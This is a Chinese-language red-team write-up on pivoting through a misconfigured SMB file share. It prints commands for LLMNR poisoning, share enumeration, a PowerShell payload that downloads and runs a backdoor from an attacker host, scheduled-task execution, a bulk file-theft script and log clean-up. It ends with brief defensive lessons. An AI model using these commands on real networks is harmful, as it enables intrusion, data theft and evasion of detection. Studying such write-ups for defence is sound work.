一、隐藏在文件共享中的蛛丝马迹
某次红队演练中,我们接到的任务是渗透一家大型企业的内部网络。经过外网信息收集,我们发现目标的外网暴露服务不多,几乎没有直接可以利用的漏洞。我们转而尝试通过鱼叉式钓鱼邮件进入内网,成功获取了一台普通员工的Windows工作站权限。然而,进入内网后并没有发现明显的敏感资产,网络环境较为复杂。
在深入分析内网流量的过程中,我们发现一些频繁的文件共享通信。通过分析,它们很可能是公司内部用于文档协作的共享服务器。于是我们决定将突破口选择在这台共享服务器上。
本篇文章将以这个案例为引,通过完整的攻击链展示如何利用文件共享服务器作为内网横向移动的支点,完成最终的数据窃取目标。
---
二、嗅探和分析:侦察阶段的关键线索

内网流量分析的第一步
进入内网后,我们的第一步是通过流量嗅探工具进行分析。这次我们使用的是开源工具 Responder 来监听内网中的NetBIOS和LLMNR请求。具体操作如下:
<pre><code class="language-bash"># 启动Responder监听内网流量 responder -I eth0 -w -r -f</code></pre>
运行一段时间后,我们捕获到了目标网络中多台主机的SMB通信,而其中一台服务器的主机名和IP地址反复出现,这引起了我们的注意。
线索:通过观察流量包,发现内网中存在一台文件共享服务器。它的主机名为SHARE-SERVER,IP为192.168.1.50。
内部文件共享的枚举
锁定目标服务器后,我们接下来通过PowerShell进行SMB枚举,尝试获取共享目录列表:
<pre><code class="language-powershell"># 使用PowerShell枚举共享目录 Invoke-Command -ScriptBlock { Get-SmbShare -CimSession "192.168.1.50" }</code></pre>
结果显示,这台服务器上对域内用户开放了多个共享目录,其中一个非常可疑的目录名为SecretDocs。
分析:结合目录名推测,该共享目录可能存储了敏感文档信息。我们的下一步是尝试对这些共享资源进行访问。
---
三、SMB访问与漏洞利用
未授权访问测试
首先,我们使用普通员工账户直接尝试访问共享目录:
<pre><code class="language-bash"># 使用smbclient测试访问共享目录 smbclient //192.168.1.50/SecretDocs -U 'domain\user'</code></pre>

幸运的是,这个共享目录的权限配置存在问题。普通用户账号竟然能直接访问,并且对文件具有读取和写入的权限。
利用共享目录作为Payload存储点
在确认了共享目录可以访问后,我们计划将该共享目录作为一个中继点,用于执行后续的攻击代码。我们通过SMB将一个恶意的PowerShell脚本上传到共享目录。
<pre><code class="language-bash"># 上传恶意PowerShell脚本到共享目录 put payload.ps1</code></pre>
恶意脚本内容如下:
<pre><code class="language-powershell"># payload.ps1
这个脚本用于下载并执行我们的后门程序
Invoke-WebRequest -Uri "http://192.168.1.100/shell.exe" -OutFile "C:\Users\Public\shell.exe" Start-Process "C:\Users\Public\shell.exe"</code></pre>
---
四、横向移动的突破点
利用共享目录执行Payload

我们通过Windows远程任务计划服务触发共享目录中的Payload,使目标服务运行恶意代码。执行脚本如下:
<pre><code class="language-powershell"># 创建远程任务,调用恶意PowerShell脚本 Invoke-Command -ComputerName "192.168.1.50" -ScriptBlock { schtasks /create /tn "UpdateTask" /tr "\\192.168.1.50\SecretDocs\payload.ps1" /sc once /st 00:00 schtasks /run /tn "UpdateTask" }</code></pre>
一旦任务计划被触发,我们的后门便成功启动,并建立了与C2服务器的连接。
---
五、数据窃取与后期隐匿
扫描并窃取敏感文件
接下来,我们通过SMB协议对目标服务器上的文件进行批量下载。以下是用于批量下载的Python脚本:
<pre><code class="language-python">from smb.SMBConnection import SMBConnection
建立与目标服务器的连接
conn = SMBConnection('username', 'password', 'client_machine', 'server_machine', use_ntlm_v2=True) conn.connect('192.168.1.50', 139)
枚举共享目录中的文件
shares = conn.listShares() for share in shares: if share.name == 'SecretDocs': files = conn.listPath(share.name, '/') for file in files:
下载文件
with open(file.filename, 'wb') as f: conn.retrieveFile(share.name, file.filename, f)</code></pre>
此脚本完成了对共享服务器中敏感文件的窃取。
清除痕迹
为了避免被发现,我们需要清理共享目录中的Payload文件以及任务计划记录:
<pre><code class="language-powershell"># 删除任务计划 schtasks /delete /tn "UpdateTask" /f
删除共享目录中的文件
Remove-Item -Path "\\192.168.1.50\SecretDocs\payload.ps1"</code></pre>
---
六、防御视角:从攻防视角看问题
虽然作为红队,我们的重点是攻破目标,但从对手可能的防御角度来看,这次攻击暴露了以下问题:
- 共享目录权限配置错误:敏感目录对普通用户开放了访问权限。
- 缺乏行为监控:目标服务器未能及时检测到异常的SMB访问行为。
- 任务计划滥用:任务计划的滥用是横向移动的常见手段,需加强权限控制。
---
七、红队经验分享
- 流量分析是基础:内网环境复杂,嗅探和分析流量是发现潜在突破口的关键。
- 利用现有资产:共享目录、打印服务等常被忽略的资产,往往是最佳的攻击中继点。
- 避免高调行为:内网操作应尽量避免触发告警机制,逐步展开攻击链。
红队演练不仅仅是技术的较量,更是一门心理博弈的艺术。我们需要对目标网络进行充分的观察和分析,找到最隐秘的破绽,最终实现目标的同时,尽量避免被发现。这才是真正的红队思维。